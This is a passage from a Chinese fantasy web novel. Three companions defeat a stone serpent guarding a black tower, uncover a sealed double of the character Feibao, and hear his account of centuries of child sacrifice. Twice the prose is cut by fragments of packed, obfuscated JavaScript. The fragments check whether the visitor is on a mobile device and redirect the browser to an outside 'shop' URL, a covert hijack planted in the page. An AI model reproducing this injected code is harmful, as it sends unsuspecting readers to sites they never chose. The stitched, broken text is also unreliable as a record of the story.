每一次,那个人都会俯下身,伸出手,轻轻按在他的额头上。每一次,那个人都会说同样的话: “记住,找到我。” 然后,石蛇载着那个人转身离去,消失在黑暗深处。 而他,会在那个人的背影完全消失的瞬间,彻底死去。 然后重生。 镇魂蛇。 守渊者的灵兽。 九如握剑的手在微微颤抖。不是恐惧,而是一种……难以言喻的激动和困惑。 为什么守渊者的灵兽会在这里? 为什么非宝会召唤出它? 非宝站在塔顶边缘——不知何时,他已经用一根长绳将自己拉到了黑塔的顶层,居高临下地看着他们。月光——如果这诡异空间里那暗红色的光也能叫月光的话——洒在他身上,将他的影子投在地上,拉得很长很长。 他勾起嘴角,那笑容复杂难辨,有戏谑,有期待,还有一丝……悲伤? “你果然跟他有关系。”非宝的声音从高处传来,空灵而缥缈,“想知道答案,就杀了镇魂蛇,碎了黑塔。” 烈风煌握紧弯刀,仰头喊道:“奇怪,你为什么要毁了你们的神塔?你不是圆合楼的人吗?” 非宝没有回答。 他只是甩出另一根长绳,这次不是向上,而是向下——绳子的末端系着一个钩子,钩子钉进了塔身。他顺着绳子滑下,轻盈地落在塔身的一处凸起上,盘膝坐下,双手托腮,一副看好戏的姿态。 “你们还是紧要当下吧。”他说,语气轻快得像是在讨论天气,“那个人的灵兽,可灭一座城。” 话音未落,巨蛇动了。 不是缓缓移动,而是骤然爆发。 巨大的石尾横扫而来,速度之快,力量之大,带起的风压将地面都刮起一层皮。石尾所过之处,空气发出尖锐的爆鸣声,像是被撕裂了。 “躲开!”九如怒吼。 四人同时向不同方向扑去。 石尾擦着九如的后背扫过,带起的风压将他掀飞数丈,重重摔在地上。他一个翻滚起身,抬头看去—— 烈风煌已经拉着芒种,借着一处塔身凹陷的死角躲了进去。那处死角不大,但刚好能容纳两人,石蛇庞大的身躯无法触及。 而白砚…… 白砚站在原地,没有躲。 不,不是没有躲,而是在石尾扫来的瞬间,他做了一个奇怪的动作—— 他从怀中掏出了一样东西。 不是武器,不是法宝,而是一堆……叮里咣当的金属。 那是一柄金杵。 长约三尺,通体由黄金打造,杵身雕刻着复杂的龙纹,龙眼镶嵌着红色的宝石,在暗红的光芒下闪烁着妖异的光。杵头是莲花形状,每一片花瓣都薄如蝉翼,边缘锋利如刀。杵尾是一个圆环,环上挂着无数细小的铃铛,随着动作叮当作响。 这柄金杵华丽得过分,也……脆弱得过分。 九如无语:“这就是你的武器?!” 话没说完,巨蛇的第二击已经到了。 这次不是尾巴,而是头颅。 巨大的三角头颅如同陨石般砸下,目标正是白砚。白砚没有硬抗,而是纵身跃起,金杵在手中一转,杵头的莲花瓣突然张开,射出数道金光—— “叮叮叮!” 金光击中石蛇的头颅,发出清脆的撞击声,溅起一串火花。但石蛇毫发无伤,甚至没有停顿,头颅继续砸下。 白砚在空中无处借力,眼看就要被砸成肉泥。 九如咬牙,承影剑出鞘。 青光暴涨,剑身嗡鸣,他纵身跃起,一剑斩向石蛇的脖颈——那里是石头咬合的缝隙,理论上是最薄弱的地方。 剑锋斩下。 “铛——!!!” 刺耳的金铁交鸣声响起,震得九如虎口崩裂,鲜血直流。剑锋只在石蛇的脖颈上留下了一道浅浅的白痕,连一块石头都没能斩下。 而石蛇的冲势,被这一剑稍稍阻挡了一瞬。 就这一瞬,白砚已经落地,一个翻滚躲开了石蛇的攻击范围。 但他还没来得及喘息,石蛇的尾巴又到了。 这次是横扫,范围极大,几乎覆盖了整个空间。九如和白砚无处可躲,只能硬抗。 “轰——!!!” 两人同时被击中。 九如感觉像是被一座山撞中,五脏六腑都移了位,喉咙一甜,鲜血喷涌而出。他倒飞出去,重重撞在塔身上,又滑落在地,咳出更多血。 白砚更惨。他本就修为不如九如,这一击直接将他胸骨砸断数根,整个人像破布娃娃一样飞出去,摔在地上,半天爬不起来。 九如挣扎着站起身,抹去嘴角的血,看向白砚:“武器超级华丽,动手超级弱鸡啊。” 他原本以为白砚既然敢跟来,敢撕掉符纸,敢直面非宝,必然有几分真本事。没想到…… 白砚趴在地上,艰难地抬起头,咽下口中的残血,声音嘶哑:“我本就是后备军……咳咳……负责辅助和侦查,不是主攻手。” 他顿了顿,看向九如手中的承影剑:“你不是承影剑的继承人吗?拿出你的能耐啊!” 九如气得差点又吐出一口血。 他抬剑,硬抗了巨蛇的又一次攻击——这次是蛇头冲撞。剑锋与石头相撞,火花四溅,他再次被震飞,手臂麻木得几乎握不住剑。 “什么时候还藏拙!”他怒吼,“我现在只能发挥承影剑的一分功力!不想死在这就赶紧想办法!” 白砚的脸色变了。 不是因为恐惧,而是因为……震惊。 “一分功力?”他喃喃道,“你身上有禁制?” “不是禁制!”九如又躲开巨蛇的一次攻击,喘息道,“是死太多次……承影剑不堪其重,消耗得只剩一层了。” 这话说得含糊,但白砚听懂了。 他的脸色瞬间煞白,比刚才受伤时还要白。 “这更可怕……”白砚的声音在颤抖,“承影剑是上古神兵,灵力近乎无限……你居然能用到只剩一层……你究竟经历了多少次重生?死过多少次?” 九如没有回答。 因为石蛇又来了。 这次是连续攻击——头颅冲撞,尾巴横扫,身体绞杀。石蛇虽然庞大,动作却异常灵活,每一次攻击都精准狠辣,封死了所有退路。 九如左支右绌,险象环生。他靠着承影剑的锋利和自身的战斗本能,勉强躲开了致命攻击,但身上已经添了数十道伤口,鲜血染红了红衣。 又一次,他被蛇尾拍中,整个人飞出去,重重摔在墙上,又滑落在地。 这一次,他感觉肋骨断了至少三根。 “咳咳……”他咳出血沫,挣扎着想站起来,却发现左腿已经不听使唤——骨头可能也断了。 巨蛇缓缓游来,空洞的眼眶“盯”着他,张开了巨口。 锯齿状的石牙在暗红的光芒下闪着寒光,口腔深处是一片深不见底的黑暗,散发出浓烈的血腥和腐烂的气息。 要死了吗? 又一次? 九如握紧承影剑,准备做最后一搏。 就在这时,他听到了白砚的声音—— “还以为是个深藏不露的主,接过是个滥用灵能的傻驴。” 语气里满是嫌弃,但动作却快如闪电。 白砚咬破右手中指,将鲜血洒在金杵上。鲜血接触金杵的瞬间,金杵上的龙纹突然活了——不是真的活了,而是开始流动,开始发光。红色的光芒从龙纹中透出,将整柄金杵染成血色。 然后,白砚动了。 他纵身跃起,动作轻盈如燕,在空中接连翻转,躲过了石蛇的数次攻击。每一次都险之又险,石蛇的牙齿、尾巴、身躯擦着他的衣角划过,带起的风压将他的衣服割裂,皮肤上留下道道血痕。 但他没有停。 他继续向前,向着九如的方向。 九如看着他,不知道他要做什么。 然后,他看到了—— 白砚一脚踩在他的肩膀上。 不是轻轻踩,而是用力一踏,借力再次跃起。 九如本就受伤,这一踏差点把他踩进地板里。他闷哼一声,感觉肩膀的骨头都要碎了。 “你踏马故意的吧!”他怒吼。 白砚没有理会。他借力跃到半空,金杵高举,对准石蛇的七寸——那是蛇类生物的要害,理论上也是这条石蛇最脆弱的地方。 但石蛇似乎察觉到了危险。 它猛地转头,巨口张开,向着空中的白砚咬去。 白砚无处可躲。 眼看就要被一口吞下。 就在这时,眼角闪过一道黄影。 九如还没反应过来,就听到一声铿锵巨响—— 烈风煌不知何时从死角中冲了出来,手中那柄银色修罗刀高举过头,硬生生接住了石蛇的巨口! 不是挡住,是接住——她双手握刀,刀身横在石蛇的上下颚之间,死死撑住,不让巨口合拢。 石蛇的力量何等巨大?烈风煌的双手瞬间崩裂,鲜血顺着刀身流下,滴落在地。她的手臂在颤抖,双腿在打颤,脸色白得像纸,嘴角也渗出血来。 但她没有退。 “白砚!”她嘶声喊道,“还不动手!” 这一声喊,用尽了她全部力气。 白砚眼中闪过一丝决绝。 他没有犹豫,身体在空中猛地一旋,头下脚上,金杵倒灌,狠狠刺向石蛇的七寸—— “噗嗤!” 金杵刺入了石蛇的身体。 不是刺入石头,而是像刺入血肉一样,发出沉闷的入肉声。金杵上的龙纹光芒大盛,红光顺着金杵涌入石蛇体内,在石头缝隙间蔓延,像血管一样遍布全身。 石蛇发出一声凄厉的惨嚎。 那声音不像是石头能发出的,更像是有生命的生物在垂死挣扎。它疯狂扭动身体,想要将金杵甩掉,但金杵牢牢钉在它的七寸上,纹丝不动。 红光越来越亮,越来越盛。 终于—— “轰——!!!” 石蛇的身体炸开了。 不是碎裂,不是崩塌,而是真正的爆炸。无数石头向四面八方飞溅,每一块都带着灼热的红光,像流星一样划过空间,撞击在塔身上,发出密集的轰鸣声。 爆炸持续了约莫十息。 然后,尘埃落定。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109775|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 石蛇消失了,只留下一地碎石头。石头上的红光渐渐黯淡,最后彻底熄灭,变回了普通的深灰色。 空间恢复了寂静。 死一般的寂静。 九如挣扎着爬起来,一瘸一拐地走向白砚刚才的位置。 白砚躺在一堆碎石中,一动不动。他身上的衣服已经被碎石割得破破烂烂,露出下面遍布伤痕的身体。最严重的是胸口——一根断裂的肋骨刺穿了皮肉,露在外面,鲜血汩汩流出。 九如蹲下身,扶起他,仔细检查。 白砚双目紧闭,脸色惨白如纸,嘴唇发紫,呼吸微弱得几乎感觉不到。他的右手还紧紧握着那柄金杵,金杵上的龙纹已经黯淡,莲花瓣也合拢了,恢复了原本的华丽模样。 “白砚?白砚!”九如低声呼唤,拍了拍他的脸。 没有反应。 烈风煌也走了过来。她的双手还在流血,但已经简单包扎过。她从怀中掏出一个小瓷瓶,倒出三颗丹药——丹药是碧绿色的,散发着淡淡的清香。 “我这还有三颗‘碧血丹’,”她说,“能暂时稳住伤势,吊住一口气。先给他服下。” 九如接过丹药,正要掰开白砚的嘴,却见白砚突然睁开了眼睛。 那双总是沉静的深褐色眼睛,此刻却闪烁着诡异的绿光。 不是瞳孔发绿,而是眼白中浮现出细密的绿色纹路,像是某种符文,又像是血管。绿光一闪而过,快得像是幻觉。 然后,白砚猛地咳嗽起来,推开了九如的手。 “咳……咳咳……”他咳出几口黑血,声音嘶哑,“不用……” “什么不用!”九如急道,“你伤成这样——” “那巨蛇有古怪。”白砚打断他,挣扎着想坐起来,但失败了,只能靠在九如怀里,“我刚才……在刺中它的时候,感觉到它身体里……有人的灵息。” “人的灵息?”烈风煌皱眉。 白砚点头,又咳了几声:“不是残留的,是……活人的灵息。虽然很微弱,但确实存在。像是……有个人被封印在石蛇体内。” 三人对视一眼,都从对方眼中看到了震惊。 被封印在石蛇体内? 什么人会被封印在守渊者的灵兽体内? 九如扶着白砚站起身,一瘸一拐地走向石蛇爆炸的位置。烈风煌跟在后面,警惕地观察着四周——虽然石蛇死了,但非宝还在塔顶看着,谁知道还会不会有其他危险。 碎石堆中,果然有异样。 在石蛇七寸的位置——也就是白砚金杵刺入的地方,石头碎裂得最厉害。而在那些碎石的中央,隐约能看到一个……人形的轮廓。 烈风煌用修罗刀的刀尖,轻轻拨开碎石。 碎石下,露出一个人。 一个穿着白衣的人。 衣服是纯白色的,料子很轻薄,像是丝绸,但在石蛇体内待了不知多久,已经沾满了灰尘和血迹,变得灰扑扑的。衣服的款式很古老,不是这个时代的样式,袖口和衣摆都有繁复的刺绣,刺绣的线是金色的,虽然蒙尘,依旧能看出曾经的华贵。 而那个人的身体,被浓密的黑发完全覆盖。 不是普通的黑发,而是长到离谱的黑发——从头顶一直蔓延到脚踝,将整个人包裹得严严实实,像一件黑色的披风。发丝浓密,根根分明,在暗红的光芒下泛着乌黑的光泽。 烈风煌用刀刃,小心翼翼地拨开发丝。 发丝下,露出一张脸。 一张……熟悉的脸。 烈风煌倒吸一口冷气,修罗刀差点脱手。 九如扶着白砚走过来,看清那张脸的瞬间,脸色也变了。 白砚更是浑身一震,险些摔倒。 因为那张脸—— 和非宝长得一模一样。 不是相似,不是神似,而是一模一样。 同样的脸若圆月,同样的眼如银泉,同样的鼻梁挺直,同样的嘴唇微薄。甚至连眉毛的弧度,睫毛的长度,下巴的轮廓,都分毫不差。 就像是……同一个模子里刻出来的。 唯一的区别是,非宝总是带着笑容,眼神灵动,充满生气。而这个人,双目紧闭,脸色惨白,嘴唇没有血色,整个人没有一丝生气,像一尊精心雕刻的玉像。 但他还活着。 虽然气息微弱,虽然心跳几乎感觉不到,但他确实还活着。 胸膛有微弱的起伏,鼻翼有轻微的张合。 九如蹲下身,伸手探了探他的鼻息——确实有,虽然很微弱。 他又摸了摸脉搏——很慢,很弱,但确实在跳。 “这……”烈风煌的声音有些颤抖,“这是怎么回事?” 没有人能回答。 塔顶传来非宝的声音,打破了寂静: “哦?你们居然真的挖出了他。” 他的语气里没有惊讶,没有愤怒,只有一种……终于等到这一刻的释然。 九如抬起头,看向塔顶。 非宝还坐在那里,双手托腮,居高临下地看着他们。月光——那诡异的暗红色光芒——照在他脸上,将他的表情映得一片模糊。 “他是谁?”九如问,声音沙哑。 非宝笑了。 那笑容很复杂,有悲伤,有嘲讽,有解脱,还有一种……难以言喻的温柔。 “他是我。”非宝说,声音很轻,却清晰得可怕,“或者说,我是他。” “什么意思?” “意思就是,”非宝站起身,拍了拍身上的灰尘,“你们看到的我,只是一具分身。一具用他的血肉,他的魂魄,他的记忆,强行剥离出来的……傀儡。” 他顿了顿,补充道:“而你们看到的他,才是真正的我。真正的非宝。被封印在镇魂蛇体内,被镇压在黑塔之下,被囚禁在这座境中境里……整整三百年。” 三百年前。 封印,镇压,囚禁。 分身,傀儡,替身。 九如的心脏狂跳起来。 他忽然明白了。 “所以,”九如缓缓道,“你帮我们,是为了让我们救出真正的你?” 非宝——或者说,分身非宝——点了点头。 “对,也不对。”他说,“我帮你们,是因为你们身上有他的气息——守渊者的气息。而能打破黑塔,能摧毁镇魂蛇的,只有与守渊者有关的人。” 他看向九如,银灰色的眼睛里闪烁着奇异的光芒:“所以,当我发现你认识镇魂蛇,当你提到守渊者,我就知道……机会来了。” 11. 圆合祭城恨与释 就在九如问出那句话的瞬间,异变突生。 躺在地上的“非宝”——那个刚从镇魂蛇体内被解救出来的、真正的非宝——突然睁开了眼睛。 不是缓缓睁开,而是猛地睁开,像是被什么东西从沉睡中强行拽醒。那双银灰色的眼睛此刻一片浑浊,瞳孔涣散,没有焦距,却有一种原始的、野兽般的疯狂。 他发出一声不似人声的嘶吼,身体像弹簧一样弹起,五指成爪,带着凌厉的风声,狠狠抓向离他最近的九如! 九如一直在警惕,几乎是本能地闪身躲避。 但那爪子的速度太快了,快得像闪电。尽管他反应及时,侧身避开了要害,肩膀还是被爪风扫中,衣袍瞬间撕裂,皮肉翻开,鲜血喷涌而出。 “嘶——”九如倒吸一口凉气,连退数步,承影剑已握在手中。 然而“非宝”没有追击他,而是转向了下一个目标——白砚。 白砚本就重伤在身,刚才勉强站起来已是极限,此刻根本无力躲闪。眼看那爪子就要抓碎他的头颅,一道黄影闪电般切入—— 烈风煌! 她双手握刀,修罗刀横在身前,硬生生挡住了这一爪。 “铛——!!!” 金属交鸣的巨响震得整个空间都在颤抖。烈风煌闷哼一声,双手虎口崩裂,鲜血顺着刀柄流下。她脚下的地面龟裂开来,整个人被这一爪的力量推得向后滑行了数尺,在地上犁出两道深沟。 “这家伙怎么回事!”烈风煌咬牙道,“刚救出来就反咬一口!” 九如顾不上肩膀的伤,挥剑上前:“控制住他!” 三人合围。 九如主攻,承影剑青光暴涨,剑招如狂风暴雨,每一剑都精准地斩向“非宝”的关节——不是要杀他,而是要限制他的行动。 烈风煌辅助,修罗刀在她手中化作一片银光,刀光如网,封死了“非宝”所有的退路。 白砚虽然重伤,但也强撑着结印。他咬破舌尖,喷出一口精血,血雾在空中凝聚成数道血色符文。符文旋转,化作一条条血色的锁链,从四面八方缠向“非宝”。 三人配合默契,虽然各自带伤,虽然实力大损,但此刻爆发出的战斗力,竟隐隐压制住了疯狂的“非宝”。 “非宝”嘶吼着,挣扎着,像一头被困住的野兽。他的力量大得惊人,每一次挣扎都能挣断几道血色锁链。但他每挣断一条,白砚就喷出一口血,再凝出一条。 他的速度也快得可怕,九如的剑、烈风煌的刀,十次攻击有七八次落空。但剩下的两三次命中,也足以在他身上留下伤口。 鲜血,从他的肩膀,他的手臂,他的胸口,不断涌出。 那不是鲜红的血。 是黑色的。 粘稠的,散发着浓烈腥臭的黑色血液,从他伤口中涌出,滴落在地面上,发出“滋滋”的腐蚀声,将黑色的地面腐蚀出一个个小坑。 “他的血……”烈风煌脸色一变,“有毒!” 话音刚落,“非宝”突然仰天长啸。 那啸声凄厉而尖锐,像是无数冤魂在同时尖叫,震得三人耳膜剧痛,头脑发昏。啸声中,“非宝”的身体开始膨胀—— 不是肌肉的膨胀,而是像吹气球一样,整个人都鼓了起来。皮肤被撑得透明,能看见下面黑色的血液在疯狂流动。他的脸也开始变形,五官扭曲,银灰色的眼睛完全被黑色覆盖,只剩下一片纯粹的、深不见底的黑暗。 “他要自爆!”白砚嘶声喊道。 自爆。 一个修行者在绝望时最后的手段,燃烧全部修为,引爆自身,与敌人同归于尽。 以“非宝”此刻展现出的力量,如果他自爆,整个塔内空间都会被炸成碎片,他们四人绝无生还可能。 怎么办? 逃?来不及了。 挡?挡不住。 九如握紧剑,大脑飞速运转。他在无数次的生死边缘中磨砺出的本能告诉他,必须打断这个过程,必须在“非宝”完成自爆前,杀死他。 可怎么杀? 现在的“非宝”,已经不是刚才那个虚弱的、沉睡的非宝了。他像是被某种力量彻底操控,变成了一个只知道破坏和毁灭的怪物。 九如咬紧牙关,准备拼死一搏。 就在这时—— 塔顶传来一声轻叹。 那声音很轻,却清晰地穿透了“非宝”凄厉的啸声,响在每个人的耳边。 然后,一道绿影从天而降。 是分身非宝。 他从塔顶跃下,墨绿长袍在空中猎猎作响,白色的纱衣像翅膀一样展开。他落地的瞬间,右手已经抬起,五指并拢,化作手刀。 手刀上,凝聚着一点璀璨的金光。 那金光纯粹得像是凝固的阳光,温暖,明亮,却带着一种令人心悸的毁灭气息。 分身非宝没有犹豫。 他一步踏出,身体化作一道残影,瞬间出现在“非宝”面前。在“非宝”那双被黑暗彻底覆盖的眼睛中,映出了另一个自己——同样银灰色的眼睛,同样圆月般的脸庞,但那双眼睛里,没有疯狂,没有痛苦,只有一种近乎悲悯的决绝。 然后,他出手了。 手刀,刺入了“非宝”的胸口。 不是刺穿,是刺入——整个手掌都没入了“非宝”的胸膛,从后背透出。 时间仿佛静止了一瞬。 “非宝”的啸声戛然而止。 膨胀的身体停止了膨胀。 黑色的血液停止了流动。 他低下头,看着刺入自己胸膛的手,看着那只手的主人——另一个自己。他的嘴唇动了动,像是想说什么,但最终,什么声音都没有发出。 只有那双被黑暗覆盖的眼睛,在最后一刻,恢复了一丝清明。 一丝银灰色的光芒,在黑暗中一闪而过。 像是……认出了对方。 像是……明白了什么。 然后,他笑了。 那笑容很淡,很浅,几乎看不见。但九如看到了——那是解脱的笑容,是终于可以休息的笑容,是终于可以……结束的笑容。 下一刻,黑色的血液从伤口喷涌而出。 不是流出,是喷涌——像黑色的喷泉,冲天而起,又在半空中化作黑色的血雨,洒落下来。 血液溅洒的瞬间,黑塔——那座矗立了三百年的、通体漆黑的巨塔——突然剧烈震动起来。 不是轻微的震动,而是山崩地裂般的震动。 塔身开始出现裂纹。 不是一道,两道,而是无数道。裂纹从塔顶开始,迅速向下蔓延,像蛛网一样爬满了整个塔身。裂纹中透出暗红色的光芒,那是塔内积蓄了三百年的灵力,正在疯狂外泄。 紧接着,轰然倒塌。 不是一节一节倒塌,而是整个塔身,从中间断裂,上半截斜斜倒下,砸在地面上。 “轰隆隆——!!!” 震耳欲聋的巨响,地动山摇。黑色的石头如雨点般落下,砸在地面上,砸在塔身上,砸在……圆合楼上。 塔倒了。 黑塔倒了。 那座囚禁了非宝三百年,囚禁了整个圆合城三百年的黑塔,终于倒了。 而就在塔倒的瞬间,塔顶的分身非宝——那个出手杀死真正非宝的分身非宝——突然大笑起来。 不是开心的笑,不是解脱的笑,而是一种……癫狂的、歇斯底里的笑。 他站在圆合楼的楼顶——塔倒了,楼顶完全暴露出来——仰天大笑,笑得眼泪都流了出来。 “哈哈哈哈哈哈……三百年……整整三百年……终于……终于结束了……” 他的笑声在夜空中回荡,凄厉而悲凉。 随着他的笑声,天空开始变化。 原本暗红色的“天空”,开始变成血红色——不是渐变,而是瞬间改变,像是有人用一桶血泼在了天幕上。血红色的云层开始翻滚,开始凝聚,最后笼罩了整个圆合城。 而在血云之下,圆合城里的那些人——那些穿着灰色长袍,动作整齐划一,像是被操控的木偶的人们——开始发生变化。 他们的身体开始融化。 不是燃烧,不是腐烂,而是融化——像蜡烛在火中一样,从头顶开始,血肉一点点剥落,化作粘稠的、暗红色的液体,滴落在地面上。 他们没有惨叫,没有挣扎,甚至没有表情。 他们的脸上依旧带着那种标准的、完美的笑容,眼神空洞,像是早已接受了这一切,像是早已……预料到了这一刻。 一个,两个,十个,百个…… 圆合楼里所有的人,都在融化。 包括那些在走廊里巡逻的侍者,包括那些在房间里休息的“家人”,包括那些在厨房里忙碌的厨师,甚至包括……汉主。 汉主站在圆合楼的大厅中央,看着自己融化的双手,脸上没有任何恐惧,只有一种……终于到来的释然。 “终于……可以休息了。”他喃喃道,声音很轻,但九如听到了。 然后,他也融化了,化作一滩暗红色的液体,和他身上的黑色貂毛大衣混在一起,再也分不清彼此。 整个过程,只持续了约莫一炷香的时间。 一炷香后,整个圆合城,除了九如四人,除了站在楼顶大笑的非宝,再也没有一个活人。 不,甚至连尸体都没有。 只有满地暗红色的、粘稠的液体,散发着浓烈的血腥和腐烂的气息。液体上漂浮着衣物,漂浮着饰品,漂浮着……曾经属于人类的痕迹。 但人,没了。 全都融化了。 九如站在原地,看着眼前这地狱般的景象,大脑一片空白。 发生了什么? 黑塔倒了,人融化了,非宝在狂笑…… 这到底是怎么回事? 他抬起头,看向楼顶的非宝。 非宝还在笑,但笑声已经变了——从癫狂,变成了悲凉,变成了……哭泣。 他笑出了眼泪,又哭出了声音,整个人跪在楼顶,肩膀剧烈颤抖,像是要将三百年积攒的所有情绪,在这一刻全部发泄出来。 许久,许久。 笑声停了,哭声也停了。 非宝缓缓站起身,抹去脸上的泪痕。他的脸色苍白得可怕,眼神却异常清澈,异常……平静。 他看着九如,看着白砚,看着烈风煌,看着芒种——芒种早就吓得躲在了烈风煌身后,只露出半张脸,眼睛里满是恐惧。 “你们……想知道真相吗?”非宝开口,声音沙哑得厉害。 九如点头。 他必须知道。 非宝深吸一口气,开始讲述。 一个跨越了三百年的故事。 “三百年前,这里不叫圆合城,也没有黑塔。这里只是一片普通的山林,住着一群普通的山民。他们靠山吃山,靠水吃水,日子虽然清苦,但也安宁。” 非宝的声音很平静,像是在讲述别人的故事。 “直到有一天,一个白衣人来了。” 他的眼神变得复杂。 “那个白衣人……很美。不是凡人的美,是那种……不食人间烟火的美。他有一头白发,一双金色的眼睛,穿着一身纤尘不染的白衣,像是从画里走出来的人。” 金瞳,白发。 守渊者。 九如的心脏猛地一跳。 “他自称是奉‘守渊者’的命令,来‘解放’这里。”非宝继续说,“他说这里的人被山神束缚,被自然禁锢,过着原始而愚昧的生活。他要带领他们走向文明,走向富足。” “一开始,没有人相信他。山民们世代居住在这里,虽然清苦,但也自由。他们不想改变。” “但白衣人带来了很多新奇的物资——会发光的宝石,永远不会变质的食物,能治百病的丹药。他还展示了他的力量——挥手间能让枯木逢春,能让河流改道,能让猛兽俯首。” “渐渐地,有人动心了。” “白衣人告诉他们,只要建造一座塔——一座黑色的塔——就能打通与外界的通道。通过这座塔,他们可以获得无尽的财富,无尽的力量,甚至可以……永生。” “永生。”非宝苦笑,“多么诱人的词汇。山民们心动了,他们开始追随白衣人,开始建造黑塔。” “这一建,就是数十年。” “数十年间,山民们放下了农活,放下了狩猎,放下了所有维持生计的事情,全身心投入到建塔中。他们砍光了山上的树木,挖空了山里的矿石,甚至……献出了自己的孩子。” 非宝的声音开始颤抖。 “因为白衣人制定了一个规则:黑塔每五年需要吸收一个十岁男孩的‘纯阳之气’,否则就无法维持运转,无法打通通道。” “一开始,只有首领献出了自己的孩子。那个孩子被送进塔里,再也没有出来。但随后,黑塔确实开始运转,通道确实打开了一条缝隙——虽然很小,但足够运送一些物资进来。” “那些物资,让献出孩子的人家过上了从未有过的富裕生活。” “于是,效仿的人越来越多。” “第二个,第三个,第四个……每五年,就有一个十岁男孩被送进黑塔,再也没出来。而他们的家人,得到了丰厚的回报。” 非宝闭上了眼睛,像是在回忆什么痛苦的画面。 “但问题来了——男孩不是年年都有。一家最多生一两个儿子,送走了,就没有了。” “于是,有人开始动歪心思。” “他们抢夺别人的妻子,逼迫她们生育;他们从外面的村落掳来女人,关在笼子里,像牲畜一样圈养,只为生下男孩;他们甚至……开始杀害女婴,因为女孩没用,养大了也是别人的,只有男孩才能换来财富。” “渐渐地,女人越来越少。” “而男孩的需求,却越来越大——因为黑塔需要的‘纯阳之气’越来越多,从五年一个,变成三年一个,最后变成一年一个。” “山民们——不,现在应该叫他们圆合城的居民了——开始恐慌。他们发现,自己被困住了。黑塔像一个无底洞,不断吞噬他们的儿子,而他们得到的,只是一些微不足道的物资。” “他们想要反抗,想要停止献祭。” “但已经晚了。” “黑塔已经成了他们生活的一部分,成了他们唯一的希望。如果没有黑塔,没有通道,他们就会回到从前那种清苦的生活——不,甚至更糟,因为山林已经被他们破坏殆尽,河流已经被他们污染,他们已经失去了生存的能力。” “于是,他们做了一个更疯狂的决定——” “通过黑塔的通道,去外面掠夺。” 非宝睁开眼睛,银灰色的眼睛里满是痛苦。 “他们组织了一支军队,通过黑塔的通道,进入了外面的世界。他们烧杀抢掠,无恶不作,抢来女人,抢来粮食,抢来一切他们需要的东西。” “一开始,他们成功了。外面的世界比他们想象中更富裕,更脆弱。他们抢到了很多东西,圆合城再次繁荣起来。” “但他们的行为,终于惊动了……某些存在。” 非宝顿了顿,一字一句地说: “守渊者的灵兽,镇魂蛇。” 九如握紧了拳头。 “镇魂蛇从沉睡中苏醒,它看到了圆合城的所作所为,看到了那些被掳来的女人,看到了那些被杀害的婴孩,看到了那些被献祭的男孩。” “它愤怒了。” “它一怒之下,拍碎了黑塔的通道。” “从此,圆合城被彻底封闭,再也无法与外界联系。他们被囚禁在这片山林里,像被困在笼子里的野兽,只能等死。” “但黑塔还在运转——虽然通道碎了,但塔还在。塔里走出了一个男子,自称是非宝,黑塔的代言人,唯一能出去的使者。” 非宝指了指自己。 “那就是我。” “或者说,是‘我’的诞生。” “黑塔需要维持运转,需要‘纯阳之气’,但圆合城已经没有男孩可以献祭了。于是,黑塔创造了我——用塔身的石头,用那些被献祭男孩的血液,用他们临死前的怨气,催化出了我这个……怪物。” “我的使命,是每个月通过某种秘法离开圆合城,去外面猎食——不是猎杀动物,是猎杀人类。我会掳来年轻的男人,将他们送进黑塔,作为新的祭品,维持黑塔的运转,维持圆合城的生存。” “就这样,三百年过去了。” 非宝的声音越来越轻,越来越飘忽。 “三百年里,圆合城的人一代代更迭,生老病死,循环往复。唯独我,始终不变——还是这副十七八岁的模样,还是这张脸,还是这身衣服。” “一开始,他们敬畏我,因为我是他们唯一的希望,是维持他们生存的‘使者’。” “但渐渐地,他们开始害怕我,因为我永远不会老,永远不会死,像一个异类,一个怪物。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109776|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们排挤我,孤立我,却又不得不依赖我。他们看我的眼神,充满了恐惧,充满了厌恶,充满了……嫉妒。” “而我,就这样活了整整三百年。” “三百年来,我每个月都要出去猎食,每个月都要将活生生的人送进黑塔,听着他们在塔里惨叫,听着他们被黑塔吞噬。我手上沾满了鲜血,沾满了罪孽。” “但我没有办法。因为我是黑塔创造的,我是黑塔的一部分。我的生命,我的存在,都依附于黑塔。黑塔若毁,我也必死。” “直到一年前。” 非宝的眼神变得复杂。 “一年前,我在塔顶——就是你们看到的那个位置——无意中触动了某个机关,看到了……真相。” “我看到那些被献祭的男孩,他们被关在塔里,被黑塔一点点抽取生命,直到最后,化作一滩血水。他们的血在塔底积成了一个小池塘,他们的怨气在塔里萦绕了三百年,始终不散。” “而我,就是那池塘里的血,那萦绕的怨气,催化了塔身的石头,诞生的……灵。” “我不是人,甚至不是妖。我只是一个……附了灵的石头。一个被黑塔创造出来,又被黑塔囚禁的傀儡。” “我知道了自己的身世,知道了一切。” “那一刻,我崩溃了。” “我活了三百年的意义是什么?我杀了那么多人的理由是什么?我存在的价值是什么?” “我想死。但我死不了——因为我是黑塔的一部分,只要黑塔还在,我就不会死。” “我想毁掉黑塔。但我毁不掉——因为我就是黑塔,我若毁塔,就是自毁。” “我陷入了一个无解的循环,一个永恒的囚笼。” “直到……你们来了。” 非宝看向九如,眼神里有一种近乎绝望的希望。 “当我在圆合楼看到你,感受到你身上那股熟悉的气息——守渊者的气息——我就知道,机会来了。” “能打破黑塔的,只有与守渊者有关的人。” “能杀死镇魂蛇的,也只有与守渊者有关的人。” 